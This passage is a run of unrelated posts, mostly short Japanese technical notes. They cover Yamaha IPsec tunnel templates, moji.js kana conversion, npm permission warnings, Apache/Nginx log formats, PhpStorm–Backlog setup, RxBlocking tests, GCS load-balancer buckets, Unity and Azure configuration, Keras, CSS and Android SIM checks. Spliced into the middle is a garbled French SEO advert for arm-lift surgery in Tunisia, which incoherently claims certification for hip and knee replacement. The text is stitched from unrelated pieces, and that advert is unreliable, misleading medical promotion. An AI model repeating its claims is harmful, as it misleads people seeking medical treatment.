 ip tunnel tcp mss limit auto
tunnel select 8
 ip tunnel tcp mss limit auto
tunnel select 9
 ip tunnel tcp mss limit auto
tunnel select 10
 ip tunnel tcp mss limit auto

(中略)

ipsec transport 1 1 udp 1701
ipsec transport template 1 2-10
```

だいぶすっきり。
※ ```ip tunnel```が展開対象外なのが惜しいですが。

## 参考情報

何が展開されるとか、型番やファームウェアリビジョンごとの違いは以下を参考に。
http://www.rtpro.yamaha.co.jp/RT/manual/rt-common/ipsec/tunnel_template.html

機種別のトンネル最大数は以下を参考に。
http://www.rtpro.yamaha.co.jp/RT/FAQ/IPsec/faq_2_d.html

## 結果

結局台風がどっかに行ってしまったので、実戦検証できず。
折を見て、社員巻き込んで検証してみる予定です。

## まとめ

相変わらず自分の投稿のタグがばらばらなの、どうにかしたいけどどうにもならない。
JavaScript でひらがな、カタカナの相互変換

使うライブラリー
[niwaringo/moji](https://github.com/niwaringo/moji)

実行結果

![kanahenkan_jul06.png](https://qiita-image-store.s3.amazonaws.com/0/179446/52378605-8687-94fa-0cea-44e45faad7b8.png)


```html:index.html
<!DOCTYPE html>
<html lang="ja">
<head>
<meta http-equiv="CONTENT-TYPE" content="text/html; charset=utf-8" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Cache-Control" content="no-cache" />
<script src="/js/jquery-3.3.1.min.js"></script>
<script src="/js/moji.js"></script>
<script src="moji_convert.js"></script> 
<title>かなの変換</title>
</head>
<body>
<h2>かなの変換</h2>

<b>ソース</b><p />
<div id="str_src"></div><p />
<b>ひらがな</b><p />
<div id="hira"></div><p />
<b>全角カタカナ</b><p />
<div id="kata_zen"></div><p />
<b>半角カタカナ</b><p />
<div id="kata_han"></div><p />

<hr />
Jul/11/2018 AM 06:44<p />
</body>
</html>
```

```js:moji_convert.js
// -------------------------------------------------------------------
//	moji_convert.js
//
//					Jul/06/2017
// -------------------------------------------------------------------
jQuery (function ()
{
	const str_src = "今日はディズニーランドに行きました。"
	const moji_src = moji(str_src)

	const hira = moji_src.convert('KK', 'HG').toString()
	const kata_zen = moji_src.convert('HG', 'KK').toString()
	const kata_han = moji_src.convert('HG', 'KK').convert('ZK', 'HK').toString()

	jQuery("#str_src").html (str_src)
	jQuery("#hira").html (hira)
	jQuery("#kata_zen").html (kata_zen)
	jQuery("#kata_han").html (kata_han)

})

// -------------------------------------------------------------------
```

jquery-3.3.1.min.js で動作を確認しました。
npm -vコマンドで怒られた

完全に自分へのメモ。
npmをインストールしリブートしたのでバージョン確認コマンドnode -vを打った所、バージョンは出るのですがなんか怒られた。理由は不明。

```:terminal
~$ npm -v
5.1.0
lqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqk
x                  npm update check failed                   x
x            Try running with sudo or get access             x
x            to the local update config store via            x
x sudo chown -R $USER:$(id -gn $USER) /home/botadmin/.config x
mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj
```

#Ubuntu環境
Ubuntu環境は14.04.5 LTSの64bit。

```:terminal
$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"
```
```:terminal
$ arch
x86_64
```

#対処
よくわからないけど以下で怒られなくなった。いいのかしら。

```:terminal
~$ sudo chown -R botadmin  /home/botadmin/.config
~$ npm -v
5.1.0
```

botadminはユーザ名ね。
『おもしろい』とは何か（３） @ゲームプログラマの小話[創作:エンタメ論] 

# 『おもしろい』とは何か（３）

『おもしろい』とは何か、第3回です。

おもしろいというのは感情が動くこと。ではそもそも感情ってどうして動くのでしょうか。今回はそのお話です。

## ヒトは生き物であるということ

犬や猫といったヒトではない生き物にも感情はあります。

例えば犬ですと、嬉しく感じているときはしっぽを振りますし、不快や嫌悪を感じるときは「ううううううう」と唸ったりします。

ヒトも生まれた直後から不快を感じ取って大きな声で泣き叫んだりしますし、少し成長すると笑うようになります。

このように、ヒトに限らず生き物というのは感情が動くようにできているようです。

> 補足：
> 生き物というと正式には植物や虫なんかも含まれますが、本記事では『動物』というワードで置き換えるほうがより適切かもしれません。

## 生き物の感情が動く理由

では、どうして生き物は感情が動くようにできているのでしょうか。

ここでは快感（気持ちいい）と不快（気持ちよくない）の代表的な２つの感情の動きを取り上げてみます。

ヒトもそうですし犬や猫もそうですが、気持ちいいことは自ら積極的に行おうとします。ご飯を食べる、恋人を作るといったことですね。

逆に不快なことはなるべく行わないようにしようとします。ケガをする行為なんかは代表的ですね。また、誰かに怒られるような行為だったり、エサがもらえなくなるといった快感が減ってしまうような行為も当てはまります。

快感なものは繰り返しやりたくなり、不快なものはやらなくなる。そういうふうに生き物は本能的に仕組まれています。そしてその仕組みのおかげで生き物は子孫を残すことに成功しているようです。

これらのことから、**生き物は生きていくために感情が動く仕組みを備えている**と言えるでしょう。

## エンタメでよく使われる快感のトリガー『成長』

エンタメ論の記事なのになぜ生物学的な話をしているのかと思われたかもしれませんが、ここからエンタメの話につながってきます。

快感という感情はとてもシンプルであり生き物にとって大事な感情です。

エンタメではこの快感を起こすためにトリガーとして**成長**というキーワードをよく使います。

成長、それはできなかったことができるようになったり、知らなかったことを知るようになること。その際にヒトは快感を覚えます。補助輪がはずれた自転車に乗れるようになったり、逆上がりができるようになったときに嬉しい気持ちになるのもコレに当てはまります。

成長をエンタメに利用した例。例えばこんな感じです。

- 直接的な成長を題材としたエンタメ（THE成長系）
  - お話が進むにつれどんどん強くなる主人公の少年漫画
  - 経験値をためると新しい技を覚えるRPGタイプのゲーム
- 分からなかったことが分かるようになる成長を扱ったエンタメ（好奇心くすぐり系）
  - 物語を読み進めると事件の犯人が判明するミステリー小説
  - 山頂でしか視られない景色を視るために登る登山
- できなかったことができるようになった成長を扱うエンタメ（難関突破系）
  - いくつものナゾをといてクリアを目指す脱出ゲーム
  - ステージをクリアしていくスーパーマリオブラザーズ

※これらの事例は他の感情の動きもありますがここでは割愛します。

おもしろいと感じる物語やビデオゲームではだいたい成長という要素を含んでいます。あなたの気になるエンタメにも成長要素があるかもしれませんので、ぜひその要素を見つけてみてください。

## もちろん成長だけではない

成長というキーワードはよく使われるものであり快感がイメージしやすいものです。ですが、多くのエンタメではそれだけでなく他のトリガーも使われています。

恋愛を扱うエンタメでしたらそれは性欲にまつわる快感を扱ったものですし、泣けるエンタメでしたら快感だけでなく不快も扱ったものになります。これらは成長とは異なるように思います。

筆者は多様なエンタメを説明するほどの知識がまだないので、成長ではないキーワードについては今回は取り上げないことにします。もっと勉強しないと･･･！

## まとめ

ヒトの感情が動くのは生きていくため。それすなわち、**ヒトは生きていくために『おもしろい』と感じるようにできている**と言ってしまってもよいと筆者は考えます。

いっぱい語っておいてなんですが、このトピックは人によってはそこまで意識しなくて良かったりします。筆者は理屈で詰めていくタイプですが、感覚的に創り上げるタイプの人はそこまで考えなくていいと思います。

感情を動かすヒントが欲しいときに、生き物としてのヒトの性質から考えてみるのもありかも？ぐらいに気にとめておいていただければと思います。

ちなみに、感情の動かし方を学ぶために身の回りのエンタメを分析することはとてもオススメです。今回のように生物学的なトリガーまで分析する必要はないのですが、そのエンタメの感情の動きを分析してみると発見があって、それはきっと『おもしろい』ですよ。（ここでいうおもしろいは「分からなかったことが分かるようになる」というこれまた成長に起因するものかも？）

第4回へ続きます。

## おわり

リンク：[ゲームプログラマの小話-目次](http://www.10106.net/~hoboaki/wiki/index.php?%E3%82%B2%E3%83%BC%E3%83%A0%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%9E%E3%81%AE%E5%B0%8F%E8%A9%B1)
ApacheとNginxのログフォーマット比較


**ApacheとNginxのログフォーマット比較**
					
|Apache	|Nginx|Description|説明|
|:------|:----|:-------|:-----|
|%a|$remote_addr|Remote IP address|リモート IP アドレス|
|%A|$server_addr|Server IP address|ローカル IP アドレス|
|%B|$body_bytes_sent|Bytes sent|レスポンスのバイト数 HTTP ヘッダは除く|
|%b|$body_bytes_sent|Bytes sent (0 = '-')|レスポンスのバイト数。HTTP ヘッダは除く CLF 書式 0のときは-(ハイフン)になる|
|%D|-|processing time[microsec]|リクエストを処理するのにかかった時間、マイクロ秒単位|
|%f|$request_filename|Requested File path|リクエストされたファイル名|
|%h|-|Remote Host|リモートホスト名|
|%H|$server_protocol|Request protocol|リクエストプロトコル名|
|%K|-|KeepAlive Connection|keepaliveのコネクション数|
|%l|-|Remote Log Name|リモートログ名|
|%m|$request_method|Request Method|"リクエストメソッド(GET| POSTなど)"|
|%p|$server_port|Server Port|リクエストを受けたポート番号|
|%P|$pid|Process ID|子プロセスID|
|%q|$query_string|Query String e.g.http://example.com/test.php?id=12345 -> ?id=12345|クエリ文字列|
|%r|$request|"First Line of Request|リクエストの最初の行 基本的には%m %U$q %Hとした内容と同じ|
|%s|$status|Status Code|ステータスコード|
|%t|$time_local|Request Time[11/Aug/2017:12:34:56 +0900]|リクエストを受け付けた日時|
|%{format}t|-|Request Time with custom format (refer: strftime(3)|format で与えられた書式による時刻|
|%T|$request_time|Proccessing Time|リクエストを受けてから応答するまでの処理時間[秒] %Dの秒数版 Nginxはミリ秒まで|
|%u|$remote_user|Remote user|リモートユーザ|
|%U|$request_uri|Request Path|リクエストされたパス|
|%v|$server_name|Server name|サーバーのServerName|
|%V|$server_name|Server name(UseCanonicalName)|UseCanonicalNameで指定されたサーバー名|
|%X|$request_completion|Connection status X=aborted + = kept alive - = closed|応答が完了したときの接続ステータス|
|%I|$request_length|Bytes received including request and headers|リクエストとヘッダを含む受け取ったバイト数|
|%O|$bytes_sent|Bytes sent including headers|ヘッダを含むサーバーから送信されたバイト数|
|%{Referer}i|$http_referer|Referer|リファラー|
|%{User-Agent}i|$http_user_agent|User Agent|エージェント|

**Nginxのみ**

|Format|Description|
|:-----|:----------|
|$args|arguments in the request line|
|$binary_remote_addr|$remote_addrのバイナリ版|
|$connection|connection serial number|
|$connection_requests|current number of requests made through a connection|
|$content_length|“Content-Length” request header field|
|$content_type|“Content-Type” request header field|
|$document_root|root or alias directive’s value for the current request|
|$document_uri|same as $uri|
|$host|Server Host|
|$hostname|host name|
|$https|“on” if connection operates in SSL mode, or an empty string otherwise|
|$limit_rate|setting this variable enables response rate limiting|
|$msec|current time in seconds with the milliseconds resolution|
|$nginx_version|nginx version|
|$pipe|“p” if request was pipelined, “.” otherwise|
|$proxy_protocol_addr|client address from the PROXY protocol header, or an empty string otherwise|
|$realpath_root|$document_rootのリアルパス|
|$remote_port|クライアントのポート|
|$request_body|request body|
|$request_body_file|name of a temporary file with the request body|
|$scheme|http|http or https|
|$sent_http_name|arbitrary response header field|
|$time_iso8601|local time in the ISO 8601 standard format|

**参考URL**
[楪総研第三分室](http://archive.fo/9wkOQ)
[apache log format](http://httpd.apache.org/docs/2.2/ja/mod/mod_log_config.html#formats)
[nginx log variables](http://nginx.org/en/docs/http/ngx_http_core_module.html#variables)
Lifting bras Tunisie

L'agence de lifting bras la plus reconnue en Tunisie a été certifié pour la première fois avec succès  auprès de la société Tunisienne de chirurgie esthétique et les établissements de santé spécialisés orthopédie et chirurgie orthopédique. Cette valeur apportée à notre agence  permet la mise en oeuvre avec qualité d'interventions pour le remplacement d'articulation, hanche et genou. Par conséquent, après des opérations de ce type; un opérateur avec une expertise internationale prouvée fait une autre visite pour certifier l'équipe vue les succès dans différents domaines. Des opérateurs principaux  au sein de cette équipe sont des médecins, des médecins chefs principaux et des experts chirurgies esthétiques.

Des priorités du département pour chirurgie d'accident et orthopédie  sont:
 le traitement des :

    Maladies des articulations de la hanche

    Maladies des articulations du genou

    Blessures après des accidents du travail

    Blessures après des accidents sportifs 

Pour plus d'informations visitez https://medecine-esthetique-paris.net/lifting-des-bras-tunisie/
PhpStormのTasks機能とBacklogの課題を連携する


PhpStormのTasks機能使いたいな〜
でもBacklog対応してないっぽいよな〜
と思ってたけど、Generic Task Serverの設定したらできた。

#必要なもの
- PhpStorm
- Backlog
	- プロジェクトID
	- APIキー

#やり方
##BacklogのプロジェクトIDを調べる
 連携したいBacklogのプロジェクト設定を開きます

![プロジェクト設定.png](https://qiita-image-store.s3.amazonaws.com/0/21348/097acc7b-9158-eb6e-ae69-11b65337d285.png "プロジェクト設定.png")


ロケーションバーのURLの `project.id` がプロジェクトIDになります

![スクリーンショット 2017 07 06 17.59.31.png](https://qiita-image-store.s3.amazonaws.com/0/21348/f38c29b9-da90-5e2e-c01d-14a3c3d5a348.png "スクリーンショット 2017 07 06 17.59.31.png")


##BacklogのAPIキーを発行する
`個人設定 > API` を開き、`新しいAPIキーを発行 > 登録`からAPIキーを発行してください

![APIの設定.png](https://qiita-image-store.s3.amazonaws.com/0/21348/308d8c96-0ad3-10f9-745f-8b0320f40c27.png "APIの設定.png")

## PhpStormのTasksを設定する
`Settings > Tools > Tasks > Servers`の `Configured servers`の `+` をクリックして`Generic`を選択してください

![スクリーンショット 2017 07 06 18.28.56.png](https://qiita-image-store.s3.amazonaws.com/0/21348/c1a466bb-deef-3a1a-a3ca-dd25e5525fd9.png "スクリーンショット 2017 07 06 18.28.56.png")

### General
↓こいつらを設定してください

|項目|設定内容|
|--------|--------|
| Server URL | 連携したいBacklogのドメイン |
|  Login Anonymously      |  チェックを入れる      |
![スクリーンショット 2017-07-06 18.35.26.png](https://qiita-image-store.s3.amazonaws.com/0/21348/c0aaa626-e44f-a1bb-8bea-be93f9202c71.png "スクリーンショット 2017-07-06 18.35.26.png")

###Server Configuration
↓こいつらを設定してください

|項目|設定内容|
|--------|--------|
| Tasks List URL | {serverUrl}/api/v2/issues?apiKey={apiKey}&projectId%5B%5D={projectId} |
| Response Type |JSON|
| tasks      | $[*]|
| id      | issueKey|
| summary      |summary|
| description      |description|
| updated      |updated|
| created      |created|

![スクリーンショット 2017-07-06 18.50.08.png](https://qiita-image-store.s3.amazonaws.com/0/21348/e6381340-50ea-1178-0e30-2c890476c785.png "スクリーンショット 2017-07-06 18.50.08.png")

###Manage Template Variables...
`Manage Template Variables...` ボタンをクリックして、以下の項目を追加してください

|Name|Value|
|--------|--------|
| apiKey | 発行したBacklog APIキー |
| projectId |BacklogのプロジェクトID |

![スクリーンショット 2017 07 06 18.52.14.png](https://qiita-image-store.s3.amazonaws.com/0/21348/97c15f87-f02a-1fcd-345a-86f70966f1b9.png "スクリーンショット 2017 07 06 18.52.14.png")

### Test
`Test` ボタンをクリックして `Connection is successful` が出たら設定完了です

![スクリーンショット 2017-07-06 18.56.55.png](https://qiita-image-store.s3.amazonaws.com/0/21348/54c520a0-cbcb-04f7-ef52-7907e9fe6701.png "スクリーンショット 2017-07-06 18.56.55.png")

#Tasks
メニューの `Default task` のトコを開くと、Backlogの課題一覧が出るはず

![スクリーンショット 2017 07 06 19.05.28.png](https://qiita-image-store.s3.amazonaws.com/0/21348/40b521b5-7526-22b9-cbf9-cfee77dcbeff.png "スクリーンショット 2017 07 06 19.05.28.png")


#参考
- http://qiita.com/ryo-endo/items/173a3dbb15e089b04169
- https://www.jetbrains.com/help/phpstorm/configuring-generic-task-server.html
RxBlockingを使ってObservableのテストを書く


# Observableはテストしにくい？
既存のプログラムをいっぱいObservableに書き換えると、テストが死にます。当たり前ですね。

非同期のものをテストしなきゃいけなくなるわけですが、ちょっとわかりにくいです。
そこで、RxBlockingで同期処理に変換してからテストすると、従来コードからの書き換えも少なくて楽です。
ちょっと書く量が多いだけで、通常のテストと同様にかけます

# RxBlocking
Observableをblockして同期処理に変換できます。
実コードには書きたくないですが、テストには楽で良いです。

## operator

operatorは4つあります
[https://github.com/ReactiveX/RxSwift/blob/master/RxBlocking/BlockingObservable%2BOperators.swift](https://github.com/ReactiveX/RxSwift/blob/master/RxBlocking/BlockingObservable%2BOperators.swift)

### first()

`take(1)` をテストする時、すなわち最初にonNextで流れてきた要素をテストする時

```swift
let o: Observable<Hoge>
let result: Hoge = try! o.toBlocking().first()!
assertEqual(result, expection)
```

### last()

`takeLast(1)` をテストする時、すなわちonCompletedが流れてくるまで待ってから、最後にonNextで流れてきた要素をテストする時

```swift
let o: Observable<Hoge>
let result: Hoge = try! o.toBlocking().last()!
assertEqual(result, expection)
```

### toArray()

onNextで流れてくる要素をcompletedするまですべて読み込み、配列にします。

```swift
let o: Observable<Hoge>
let result: Hoge = try! o.toBlocking().toArray()
assertEqual(result, expection)
```


### single(predicate:_)

`single()` はonNextで流れてくる要素のうち、predicateを満たすものがただ一つな上でcompletedすることを検証します。

predicateを渡さないときはすべての要素に対してtrueになるので、要素がただ一つであることを検証します。

## あくまでcurrentThreadのみブロックする
subscribeOnやobserveOnなどを使うとうまくいかないそうなので注意
Google HTTP(S) LoadBalancerのバックエンドをGCSにして静的コンテンツ配信をする

# この記事について
Google HTTP(S) LoadBalancerのバックエンドをバケットにできて試してみたので設定方法を記載します。

# GCSへアップする。
とりあえずGCSが必要なので作っておく。
![スクリーンショット 2017-07-06 16.33.07.png](https://qiita-image-store.s3.amazonaws.com/0/57634/2e1a4ccb-3bcc-226a-86ee-14e48909e36f.png)

配信したい静的コンテンツをアップしておく。
今回jsを全て配信したいとする。
バケットにjsというディレクトリを作り
helloworld.jsとtest.jsを置いておく。

![スクリーンショット 2017-07-06 16.38.05.png](https://qiita-image-store.s3.amazonaws.com/0/57634/df1766db-a8ca-acea-482d-5a34751e36c0.png)

ここで必要なのは公開リンクにチェックを入れておくこと。

試してはないが以下で デフォルトで公開できるように設定が可能

https://cloud.google.com/storage/docs/gsutil/commands/acl から。

```
gsutil acl ch -u AllUsers:R gs://example-bucket/example-object
```


# LBの設定

ネットワーク->負荷分散->ロードバランサを作成でHTTP(S)負荷分散を選択する

## バックエンドバケットの作成
バックエンドの設定からバックエンドバケットを作成する

![スクリーンショット 2017-07-06 16.46.00.png](https://qiita-image-store.s3.amazonaws.com/0/57634/c2085deb-e53e-6de1-bf70-5b8b6abad084.png)

名前は管理しやすいような名前を付ける。
CLoudStorageバケットは最初に作ったバケットを選択する。
CDNとしてCLoudCDNを使う場合は有効にするにチェックする

## ホストとパスのルールの設定
全てのアクセスをバケットに流す。という設定であればそのままでOK
例えば一般的なアクセスはバックエンドをGCEにしてみたいな場合はデフォルトのバックエンドをGCEにして、一致するパスだけGCSにするようにする。

例えばjsのみGCSにするならば以下の画像のようにする
![スクリーンショット 2017-07-06 16.49.52.png](https://qiita-image-store.s3.amazonaws.com/0/57634/4fa0f561-7499-bfa5-d8e9-7630881644ce.png)

## フロントエンドの設定

固定IPにしたかったらIPアドレスを作成して固定IPを割り振ったり
HTTPSに対応したかったら証明書の設定をする。

今回はテストなのでそのまま
![スクリーンショット 2017-07-06 16.50.26.png](https://qiita-image-store.s3.amazonaws.com/0/57634/ea11614b-7e4d-afdc-826d-145ff273048c.png)

# テスト
これでLBに割り振られたIPにアクセスしてみる

http://[LB_IP]/js/helloworld.js
http://[LB_IP]/js/test.js

ただしそれ以外のURLにアクセスした場合。例えば http://[LB_IP]/js/ にアクセスした場合 GCSデフォルトの403が返却される



![スクリーンショット 2017-07-06 19.06.33.png](https://qiita-image-store.s3.amazonaws.com/0/57634/ead5a6b6-5fb3-7bb6-86e2-78adb0fb3408.png)

GCSのバケットをドメイン名に関連付けて静的Webサイトをホスティングした場合 (以下のURLを参照)は存在しないオブジェクトに対して404.html等を指定できたが、
GCSをバックエンドバケットにした場合は行うことができない。
そのハンドリングはGCEなどをバックエンドサービスにしてそちらでハンドリングする必要がありそう。
https://cloud.google.com/storage/docs/hosting-static-website?hl=ja

その代わりhttpsでアクセス出来るので一長一短の気がする。
UnityでWWWを使って画像・テキスト・動画・fbxファイルを読み込む


#前提
- JSONObject(http://wiki.unity3d.com/index.php?title=JSONObject) でJsonを扱う
- データはネット上から回収(Azure(http://qiita.com/gshirato/items/d62e915da6ea1ea94bd6))

#環境
Unity 5.6.1f1 Personal

#比較
[Unity] ドラッグ&ドロップ一切使わずスクリプトのみで画像・動画・テキスト・Prefab取り込み(http://qiita.com/gshirato/items/b823a0a4ea7baff102f2#_reference-c1cb36405534174098b4)

`StreamReader`や`Resources.Load()`をつかわないためコードがシンプルに
動画を取り込む際にはVideoPlayerのurlからの取り込みを活用できる。
#コード

```csharp:global
string appPath = "http://machin/";
```

##共通Tip

Pathに半角スペースが入っていることを想定。この場合リクエストエラー（400:Bad Request）を返すので、半角スペースを`%20`にあらかじめ置換。

```csharp
string path = "http://machin/Example 1/ex.json";
path = path.Replace(" ", "%20");　
//"http://machin/Example%201/ex.json"が返される。

```

参考：パーセントコーディング(Wikipedia)(https://ja.wikipedia.org/wiki/%E3%83%91%E3%83%BC%E3%82%BB%E3%83%B3%E3%83%88%E3%82%A8%E3%83%B3%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0)

##テキストファイル Json/js

JSONファイルをウェブ上で取得することができなかったため(web.configの問題=>[解決](http://qiita.com/gshirato/items/7f783784cd5e6827fa0f))内容全く同じなままJavaScript形式で保存。(一応動く)
以下はjsonファイルを読み込むコード。

```csharp:json
string url = appPath + "json/machin.json";
JSONObject jsonObject;

WWW www = new WWW(url);
yield return www;

if(www.error == null)
{
    if(www.isDone)
    {
        string textfile = www.text;
        jsonObject = new JSONObject(textfile);
    }
}
else
{
    print(www.error);
}


```

###3Dテキスト化

```csharp:3DText
public textPrefab;//(事前に用意）

GameObject textGo = Instantiate(textPrefab);
TextMesh text3d = textGo.GetCompenent<TextMesh>();

text3d.text = www.text;
```

##画像

```csharp:photos
string url = appPath + "photos/machin.png";
GameObject image = GameObject.CreatePrimitive(PrimitiveType.Plane);
WWW www = new WWW(url);
yield return www;

Renderer rend = image.GetComponent<Renderer>();
Texture2D tex2d = new Texture2D(1, 1);

tex2d = www.texture;

rend.material.mainTexture = tex2d;
```

##動画

VideoPlayerで超簡単。
過去記事：Unity 5.6からの動画再生機能 VideoPlayerで動画再生(http://qiita.com/gshirato/items/1500f61b408e7af69453)

##3Dモデル

更新：2017/7/13
AssetBundlesを使って.fbxモデルをネット上から回収(http://qiita.com/gshirato/items/b58dd8545dc215e41b34)


#HoloLens開発記事一覧
http://qiita.com/gshirato/items/6c026f2c67dc332f829b から
web.configをいじってAzureのウェブサイト上の表示可能項目を設定

[Microsoft Azureでファイル管理をしたい(App Service Editor)](http://qiita.com/gshirato/items/d62e915da6ea1ea94bd6)のつづき

前回、Azureでの公開設定について書きましたが、今回はウェブページの環境設定です。

## 注意 (2020 Dec 23)
頂いたコメントを基に訂正した箇所があります。2

#問題
画像ファイル(.jpg,.png)は何も下準備無しでwebでみることができるのですが、動画(.mp4)を見ようとすると次のようなエラーが出ます。

``` :IE
404Error
```

``` :firefox
サポートされたフォーマットとMIME typeの動画が検出されませんでした
```
一般的な対処法については[EasyHTML5Video](http://easyhtml5video.com/ja/faq.html)を参考。

これが表示できないと、最終的にUnity上で読み込みを行うことが不可能。

また、jsonも何もなしでは表示できません。
##MIMEとは
[Multipurpose Internet Mail Extensions(Wikipedia)](https://ja.wikipedia.org/wiki/Multipurpose_Internet_Mail_Extensions)

>Multipurpose Internet Mail Extension（多目的インターネットメール拡張）は、規格上US-ASCIIのテキストしか使用できないインターネットの電子メールでさまざまなフォーマット（書式）を扱えるようにする規格である。通常はMIME（マイム）と略される。

> *-Wikipedia*

よくわからない

[メディアタイプ(Wikipedia)](https://ja.wikipedia.org/wiki/%E3%83%A1%E3%83%87%E3%82%A3%E3%82%A2%E3%82%BF%E3%82%A4%E3%83%97)

>メディアタイプは、ファイルやインターネット上で転送されるコンテンツの形式を表現する識別子である。MIMEタイプや要素タイプ (Content type)とも表記される。text/plainのように、スラッシュで区切る表記が特徴的である。

まだわかる。

要は扱いたいファイルの拡張子とMimeTypeを形式に沿って指定してあげればいいわけです。

さらに参考
[静的コンテンツの MIME マッピングの追加 <mimeMap>(MSDN)](https://msdn.microsoft.com/ja-jp/library/ee431622.aspx)

#対処法
web.configをいじり、読み込み可能な静的要素タイプを増やす。
~~以下のコードを`<configuration></configuration>`内の最後に追加。~~
※訂正(@Aeona-Blue さんのコメントより)
> configuration内最後ではなく、system.webServer内でないとエラーになります。


```xml:web.config
<staticContent>
<mimeMap fileExtension=".mp4" mimeType="video/mp4" />
<clientCache cacheControlMode="UseMaxAge" cacheControlMaxAge="7.00:00:00" />
</staticContent>
```

```xml:web.config
<staticContent>
略
<mimeMap fileExtension=".json" mimeType="application/json" />
略
</staticContent>
```


#結果
見れます。

#HoloLensアプリ開発記事一覧
http://qiita.com/gshirato/items/6c026f2c67dc332f829b から
Keras on jupyter notebook でGPUを使わない

http://qiita.com/kikusumk3/items/907565559739376076b9 に環境変数を使う方法が書いてるけれど、jupyter とかから使う場合に困る(特にjuypterだとノートブック間でGPUの取り合いになりがち）

```python
import keras
import tensorflow as tf
import keras.backend as K
K.tensorflow_backend.set_session(tf.Session(config=tf.ConfigProto(device_count = {'GPU': 0})))
```

でうまくいくようだ
CSSの基本文法を学ぶ

#基本的な書式

HTMLに見た目の装飾やスタイルを適用させるときに使うCSSの基本的な書式です。


![image.png](https://qiita-image-store.s3.amazonaws.com/0/176912/7c5e129a-d57c-8d9c-bbd5-ed0340bfe863.png)


[上記図 引用元：『HTML5プロフェッショナル認定試験 レベル1 対策テキスト＆問題集（マイナビ）』](https://book.mynavi.jp/ec/products/detail/id=38366)


| 名称 | 役割 |
|:--|:--|
| セレクタ  | 適用させたい部分を指定する  |
| 宣言ブロック  | 適用させたい設定を記述する範囲  |
| 宣言  | 適用させたい設定 |
| プロパティ名  | 適用する設定はどれか  |
| プロパティ値  | どんな設定にするか  |

 - 宣言は1つの宣言に対して1行ずつ
 - 宣言ブロック内には改行、空白文字を入れてもOK
 - ただしセレクタ内に空白文字を入れると、適用先が変わってしまう場合
 - セレクタをカンマ（,）で区切ると複数指定できる

#セレクタについて

要素の適用先を指定する方法（セレクタ）の書式がいくつかあります。

| 名称 | 書式|適用先|適用先例|使用例|
|:--|:--|:--|:--|:--|
| タイプセレクタ  | 要素名| 指定した要素   | h1{color:yellow;}|h1要素全ての文字色を黄色にする|
| ユニバーサルセレクタ  | *  |全要素|*{color:yellow;}|全要素の文字色を黄色にする|
| クラスセレクタ  |要素名.class   |指定したclass属性の値を持つ要素|p.fueki{color:yellow;}|class属性にfuekiが指定されているp要素全ての文字色を黄色にする|
| IDセレクタ  |要素名#id   |指定したid属性の値を持つ要素|p#fueki{color:yellow;}|id属性にfuekiが指定されているp要素全ての文字色を黄色にする|
|属性セレクタ|[属性名] など|属性の指定に方法よる|-|-|
|疑似クラス|-|指定した要素全体を対象にする|-|-|
|疑似要素|::first-line<br>::first-letter<br>::before<br>::after|指定した要素の一部分を対象にする|-|-|
|結合子|(半角スペース)<br>＞<br>+<br>~|要素と指定した結合子の関係による|.fueki .nori|.fueki要素内に配置されている.nori要素全て など|

[属性セレクタについてはこちらの前記事をどうぞ！](http://qiita.com/NoxGit/items/67979624138b136c1410)

CSSで指定するものを宣言ということを知りませんでした。
前は適当に指定とかって言っていたような。言葉を知ることも大事ですね…！
AndroidでSIMカードが刺さっているかどうかを取得する

AndroidでSIMカードが刺さっているかどうかを確認したかったので、やり方を調べてみました。
以下のコードでSIMカードの状態が取得できます。

```java
TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
int simState = telephonyManager.getSimState();
```

`getSimState()`は以下のいずれかの値を返します。

* [TelephonyManager.SIM_STATE_UNKNOWN](https://developer.android.com/reference/android/telephony/TelephonyManager.html#SIM_STATE_UNKNOWN)
* [TelephonyManager.SIM_STATE_ABSENT](https://developer.android.com/reference/android/telephony/TelephonyManager.html#SIM_STATE_ABSENT)
* [TelephonyManager.SIM_STATE_PIN_REQUIRED](https://developer.android.com/reference/android/telephony/TelephonyManager.html#SIM_STATE_PIN_REQUIRED)
* [TelephonyManager.SIM_STATE_PUK_REQUIRED](https://developer.android.com/reference/android/telephony/TelephonyManager.html#SIM_STATE_PUK_REQUIRED)
* [TelephonyManager.SIM_STATE_NETWORK_LOCKED](https://developer.android.com/reference/android/telephony/TelephonyManager.html#SIM_STATE_NETWORK_LOCKED)
* [TelephonyManager.SIM_STATE_READY](https://developer.android.com/reference/android/telephony/TelephonyManager.html#SIM_STATE_READY)
* [TelephonyManager.SIM_STATE_NOT_READY](https://developer.android.com/reference/android/telephony/TelephonyManager.html#SIM_STATE_NOT_READY)
* [TelephonyManager.SIM_STATE_PERM_DISABLED](https://developer.android.com/reference/android/telephony/TelephonyManager.html#SIM_STATE_PERM_DISABLED)
* [TelephonyManager.SIM_STATE_CARD_IO_ERROR](https://developer.android.com/reference/android/telephony/TelephonyManager.html#SIM_STATE_CARD_IO_ERROR)
* [TelephonyManager.SIM_STATE_CARD_RESTRICTED](https://developer.android.com/reference/android/telephony/TelephonyManager.html#SIM_STATE_CARD_RESTRICTED)

いろいろな値がありますが、シンプルにSIMカードが刺さっていて、それが利用できるかどうかを判別したいだけなら`STATE_READY`であるかどうかを判別すればOKです。

```java
TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
int simState = telephonyManager.getSimState();
if (simState == TelephonyManager.SIM_STATE_READY) {
  // SIMカードが刺さっていて利用可能な状態
}
```
STS Archive for required library: …でプロジェクトがビルドできない。

# 環境
Windows10＋STS3.8.4環境です。

# エラー内容
stsの問題タブに後述のように表示される。
解消されないとプロジェクトがビルドされないため、非常にうざったい。
また一度発生すると次々同じ'Archive for required librar'エラーが発生する。

```STS問題タブの表示
